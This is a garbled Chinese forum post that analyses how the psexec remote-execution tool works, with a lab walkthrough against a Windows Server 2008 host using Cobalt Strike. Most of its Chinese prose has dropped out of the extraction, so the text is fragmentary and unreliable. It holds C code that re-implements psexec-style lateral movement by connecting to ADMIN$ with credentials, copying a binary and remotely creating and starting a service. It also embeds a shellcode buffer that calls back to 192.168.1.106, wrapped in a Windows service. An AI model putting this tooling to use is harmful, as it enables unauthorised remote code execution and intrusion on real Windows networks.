[18573] 2021-06-10_psexec原理分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-06-10_psexec原理分析 p s e x e c   B u f f e r   H A C K   2 0 2 1 - 0 6 - 1 0 p s e x e c , , , : h t t p s : / / p a y l o a d s . o n l i n e / a r c h i v e r s / 2 0 2 0 - 0 4 - 0 2 / 1 h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 8 7 4 9 3 0 / a r t i c l e / d e t a i l s / 1 0 8 4 5 5 4 7 8 P s e x e c P s e x e c 便 便 使 p s e x e c : h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c c s P s e x e c w i n 1 0 s y s t e m c s p s e x e c 6 4 w i n 2 0 0 8 , , w i n 1 0 h a s h w i n 2 0 0 8 线 , s y s t e m w i n 2 0 0 8 w i n 1 0     i p 1 9 2 . 1 6 8 . 1 5 4 . 7 w i n   s e r v e r   2 0 0 8     X 6 4   1 9 2 . 1 6 8 . 1 5 4 . 3 1
4 6 2 4 , w i n 1 0 i p , i p N T M L v 2 , 便 , h a s h
A D M I N $ i p c , C : W i n d o w s e x e 线   w i n 1 0 P s e x e c w i n 2 0 0 8 , c s s h e l l c s : 1 .       I D 4 6 2 4 2 . a d m i n $       I D 7 0 4 5 3 . x x x x . e x e c : w i n d o w s 4 . x x x x . e x e , 线 w i r e s h a r k w i n 1 0 p s e x e c w i n 2 0 0 8   . P s E x e c . e x e   1 9 2 . 1 6 8 . 1 5 4 . 3 1   - u   a d m i n i s t r a t o r   - p   1 2 3 4 5 6   c m d i p . s r c = = 1 9 2 . 1 6 8 . 1 5 4 . 3 1   o r   i p . d s t = = 1 9 2 . 1 6 8 . 1 5 4 . 3 1
  1 . T C P 2 . 3 . N T M L 4 . $ I P C 5 . A D M I N $ 6 . P S E X E S V C . e x e   T C P , 4 D 5 A , p e   , A P I  
4 n t l m a d m i n $ p s e x e s v c s v c c t l p s e x e s v c p s e x e c . S M B W N e t A d d C o n n e c t i o n 2 : h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / w i n n e t w k / n f - w i n n e t w k - w n e t a d d c o n n e c t i o n 2 w . D W O R D   W N e t A d d C o n n e c t i o n 2 W ( L P N E T R E S O U R C E W   l p N e t R e s o u r c e , L P C W S T R                 l p P a s s w o r d , L P C W S T R                 l p U s e r N a m e , D W O R D                     d w F l a g s ) ; D W O R D   C o n n e c t S M B S e r v e r ( L P C W S T R   l p w s H o s t ,   L P C W S T R   l p w s U s e r N a m e ,   L P C W S T R   l p w s P a s s w o r d ) { / /   S M B P W C H A R   l p w s I P C   =   n e w   W C H A R [ M A X _ P A T H ] ; D W O R D   d w R e t V a l ;   / /   N E T R E S O U R C E   n r ;   / /   D W O R D   d w F l a g s ;   / /   Z e r o M e m o r y ( & n r ,   s i z e o f ( N E T R E S O U R C E ) ) ; s w p r i n t f ( l p w s I P C ,   M A X _ P A T H ,   T E X T ( " % s a d m i n $ " ) ,   l p w s H o s t ) ; n r . d w T y p e   =   R E S O U R C E T Y P E _ A N Y ;   / /   n r . l p L o c a l N a m e   =   N U L L ; n r . l p R e m o t e N a m e   =   l p w s I P C ;   / /   n r . l p P r o v i d e r   =   N U L L ; / /   d w F l a g s   =   C O N N E C T _ U P D A T E _ P R O F I L E ; d w R e t V a l   =   W N e t A d d C o n n e c t i o n 2 ( & n r ,   l p w s P a s s w o r d ,   l p w s U s e r N a m e ,   d w F l a g s ) ; i f   ( d w R e t V a l   = =   N O _ E R R O R ) { p r i n t f ( " C o n n e c t i o n   a d d e d   t o   % s n " ,   n r . l p R e m o t e N a m e ) ; r e t u r n   d w R e t V a l ; } p r i n t f ( " W N e t A d d C o n n e c t i o n 2   f a i l e d   w i t h   e r r o r :   % d n " ,   d w R e t V a l ) ; r e t u r n   - 1 ; }
h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / w i n b a s e / n f - w i n b a s e - c o p y f i l e ? f 1 u r l = % 3 F a p p I d % 3 D D e v 1 6 I D E F 1 % 2 6 l % 3 D Z H - C N % 2 6 k % 3 D k ( W I N B A S E % 2 5 2 F C o p y F i l e ) ; k ( C o p y F i l e ) ; k ( D e v L a n g - C % 2 5 2 B % 2 5 2 B ) ; k ( T a r g e t O S - W i n d o w s ) % 2 6 r d % 3 D t r u e . h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / w i n s v c / n f - w i n s v c - o p e n s c m a n a g e r a ? r e d i r e c t e d f r o m = M S D N & f 1 u r l = % 3 F a p p I d % 3 D D e v 1 6 I D E F 1 % 2 6 l % 3 D Z H - C N % 2 6 k % 3 D k ( W I N S V C % 2 5 2 F O p e n S C M a n a g e r ) ; k ( O p e n S C M a n a g e r ) ; k ( D e v L a n g - C % 2 5 2 B % 2 5 2 B ) ; k ( T a r g e t O S - W i n d o w s ) % 2 6 r d % 3 D t r u e h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / w i n s v c / n f - w i n s v c - c r e a t e s e r v i c e w 使 O p e n S C M a n a g e r C r e a t e S e r v i c e , O p e n S e r v i c e , S t a r t S e r v i c e B O O L   C o p y F i l e ( L P C T S T R   l p E x i s t i n g F i l e N a m e , L P C T S T R   l p N e w F i l e N a m e , B O O L         b F a i l I f E x i s t s ) ; B O O L   U p l o a d F i l e B y S M B ( L P C W S T R   l p w s S r c P a t h ,   L P C W S T R   l p w s D s t P a t h ) { D W O R D   d w R e t V a l ; d w R e t V a l   =   C o p y F i l e ( l p w s S r c P a t h ,   l p w s D s t P a t h ,   F A L S E ) ; r e t u r n   d w R e t V a l   >   0   ?   T R U E   :   F A L S E ; } S C _ H A N D L E   O p e n S C M a n a g e r A ( L P C S T R   l p M a c h i n e N a m e , L P C S T R   l p D a t a b a s e N a m e , D W O R D     d w D e s i r e d A c c e s s ) ; S C _ H A N D L E   C r e a t e S e r v i c e W ( S C _ H A N D L E   h S C M a n a g e r , L P C W S T R       l p S e r v i c e N a m e , L P C W S T R       l p D i s p l a y N a m e , D W O R D           d w D e s i r e d A c c e s s , D W O R D           d w S e r v i c e T y p e , D W O R D           d w S t a r t T y p e , D W O R D           d w E r r o r C o n t r o l , L P C W S T R       l p B i n a r y P a t h N a m e , L P C W S T R       l p L o a d O r d e r G r o u p , L P D W O R D       l p d w T a g I d , L P C W S T R       l p D e p e n d e n c i e s , L P C W S T R       l p S e r v i c e S t a r t N a m e , L P C W S T R       l p P a s s w o r d ) ; B O O L   C r e a t e S e r v i c e s ( L P C W S T R   l p w s S C M S e r v e r ,   L P C W S T R   l p w s S e r v i c e N a m e ,   L P C W S T R   l p w s S e r v i c e P a t h ) { w p r i n t f ( L " W i l l   C r e a t e   S e r v i c e   % s n "   , l p w s S e r v i c e N a m e ) ; S C _ H A N D L E   h S C M ; S C _ H A N D L E   h S e r v i c e ; S E R V I C E _ S T A T U S   s s ; h S C M   =   O p e n S C M a n a g e r ( l p w s S C M S e r v e r ,   S E R V I C E S _ A C T I V E _ D A T A B A S E ,   S C _ M A N A G E R _ A L L _ A C C E S S ) ; i f   ( h S C M   = =   N U L L ) { p r i n t f ( " O p e n S C M a n a g e r   E r r o r :   % d n " , G e t L a s t E r r o r ( ) ) ; r e t u r n   - 1 ; } h S e r v i c e   =   C r e a t e S e r v i c e (
c s , s d w i n 2 0 0 8 h S e r v i c e   =   C r e a t e S e r v i c e ( h S C M ,   / /   l p w s S e r v i c e N a m e ,   / /   l p w s S e r v i c e N a m e ,   / /   G E N E R I C _ A L L ,   / /   访 S E R V I C E _ W I N 3 2 _ O W N _ P R O C E S S ,   / /   S E R V I C E _ D E M A N D _ S T A R T ,   / /   S t a r t S e r v i c e   S E R V I C E _ E R R O R _ I G N O R E ,   / /   l p w s S e r v i c e P a t h ,   / /   N U L L , N U L L , N U L L , N U L L , N U L L ) ; i f   ( h S e r v i c e   = =   N U L L ) { p r i n t f ( " C r e a t e S e r v i c e   E r r o r :   % d n " , G e t L a s t E r r o r ( ) ) ; r e t u r n   - 1 ; } w p r i n t f ( L " C r e a t e   S e r v i c e   S u c c e s s   :   % s n " , l p w s S e r v i c e P a t h ) ; h S e r v i c e   =   O p e n S e r v i c e ( h S C M ,   l p w s S e r v i c e N a m e ,   G E N E R I C _ A L L ) ; i f   ( h S e r v i c e   = =   N U L L ) { p r i n t f ( " O p e n S e r v i c e   E r r o r :   % d n " ,   G e t L a s t E r r o r ( ) ) ; r e t u r n   - 1 ; } p r i n t f ( " O p e n S e r v i c e   S u c c e s s :   % d ! n " ) ; S t a r t S e r v i c e ( h S e r v i c e ,   N U L L ,   N U L L ) ; r e t u r n   0 ; }
, c s 线 : w i n d o w s , 便 p e
        W i n d o w s e b I I S         S C P s e r v i c e   c o n t r o l   p r o g r a m S C M s e r v i c e   c o n t r o l   m a n a g e r W i n d o w s w i n d o w s s y s t e m 3 2 s e r v i c s . e x e         S C M w i n d o w s s y s t e m 3 2 s e r v i c s . e x e w i n d o w s W i n l o g o n S C M   , h t t p s : / / b l o g . c s d n . n e t / s w a r t z _ l u b e l / a r t i c l e / d e t a i l s / 7 0 2 5 5 6 8 6   w i n d w o s , w i n d o w s : h t t p : / / w w w . h a o s e r v i c e . c n / 2 0 1 9 / 1 1 / 2 7 / A p p l i e d 1 3 % E 8 % A E % A 4 % E 8 % A F % 8 6 w i n d o w s % E 6 % 9 C % 8 D % E 5 % 8 A % A 1 % E 5 % B 9 % B 6 % E 4 % B D % B F % E 7 % 9 4 % A 8 V C + + % E 5 % 8 8 % 9 B % E 5 % B B % B A w i n d o w s % E 6 % 9 C % 8 D % E 5 % 8 A % A 1 % E 7 % A 8 % 8 B % E 5 % B A % 8 F /   h t t p s : / / w w w . c o d e p r o j e c t . c o m / A r t i c l e s / 4 9 9 4 6 5 / S i m p l e - W i n d o w s - S e r v i c e - i n - C p l u s p l u s : s h e l l c o d e : # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < i o s t r e a m > u n s i g n e d   c h a r   b u f [ ]   = " x f c x e 8 x 8 9 x 0 0 x 0 0 x 0 0 x 6 0 x 8 9 x e 5 x 3 1 x d 2 x 6 4 x 8 b x 5 2 x 3 0 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 4 x 8 b x 7 2 x 2 8 x 0 f x b 7 x 4 a x 2 6 x 3 1 x f f x 3 1 x c 0 x a c x 3 c x 6 1 x 7 c x 0 2 x 2 c x 2 0 x c 1 x c f x 0 d x 0 1 x c 7 x e 2 x f 0 x 5 2 x 5 7 x 8 b x 5 2 x 1 0 x 8 b x 4 2 x 3 c x 0 1 x d 0 x 8 b x 4 0 x 7 8 x 8 5 x c 0 x 7 4 x 4 a x   x c 3 x 8 5 x c 0 x 7 5 x e 5 x 5 8 x c 3 x e 8 x 8 9 x f d x f f x f f x 3 1 x 3 9 x 3 2 x 2 e x 3 1 x 3 6 x 3 8 x 2 e x 3 1 x 2 e x 3 1 x 3 0 x 3 6 x 0 0 x 1 2 x 3 4 x 5 6 x 7 8 " ; # d e f i n e   S L E E P _ T I M E   5 0 0 0                                                     / * * / # d e f i n e   L O G F I L E   " C : W i n d o w s l o g . t x t "                             / * * / S E R V I C E _ S T A T U S   S e r v i c e S t a t u s ;     / * * / S E R V I C E _ S T A T U S _ H A N D L E   h S t a t u s ;   / * * / v o i d     S e r v i c e M a i n ( i n t   a r g c ,   c h a r * *   a r g v ) ; v o i d     C t r l H a n d l e r ( D W O R D   r e q u e s t ) ; i n t       I n i t S e r v i c e ( ) ; i n t   m a i n ( i n t   a r g c ,   C H A R *   a r g v [ ] ) {
{ W C H A R   W s e r v i c e N a m e [ ]   =   T E X T ( " s d d " ) ; S E R V I C E _ T A B L E _ E N T R Y   S e r v i c e T a b l e [ 2 ] ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e N a m e   =   W s e r v i c e N a m e ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e P r o c   =   ( L P S E R V I C E _ M A I N _ F U N C T I O N ) S e r v i c e M a i n ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e N a m e   =   N U L L ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e P r o c   =   N U L L ; S t a r t S e r v i c e C t r l D i s p a t c h e r ( S e r v i c e T a b l e ) ; r e t u r n   0 ; } i n t   W r i t e T o L o g ( c o n s t   c h a r *   s t r ) { F I L E *   p f i l e ; f o p e n _ s ( & p f i l e ,   L O G F I L E ,   " a + " ) ; i f   ( p f i l e   = =   N U L L ) { r e t u r n   - 1 ; } f p r i n t f _ s ( p f i l e ,   " % s n " ,   s t r ) ; f c l o s e ( p f i l e ) ; r e t u r n   0 ; } / * S e r v i c e   i n i t i a l i z a t i o n * / i n t   I n i t S e r v i c e ( ) { C H A R   M e s s a g e [ ]   =   " M o n i t o r i n g   s t a r t e d . " ; O u t p u t D e b u g S t r i n g ( T E X T ( " M o n i t o r i n g   s t a r t e d . " ) ) ; i n t   r e s u l t ; r e s u l t   =   W r i t e T o L o g ( M e s s a g e ) ; r e t u r n ( r e s u l t ) ; } / * C o n t r o l   H a n d l e r * / v o i d   C t r l H a n d l e r ( D W O R D   r e q u e s t ) { s w i t c h   ( r e q u e s t ) { c a s e   S E R V I C E _ C O N T R O L _ S T O P : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; c a s e   S E R V I C E _ C O N T R O L _ S H U T D O W N : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; d e f a u l t :
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则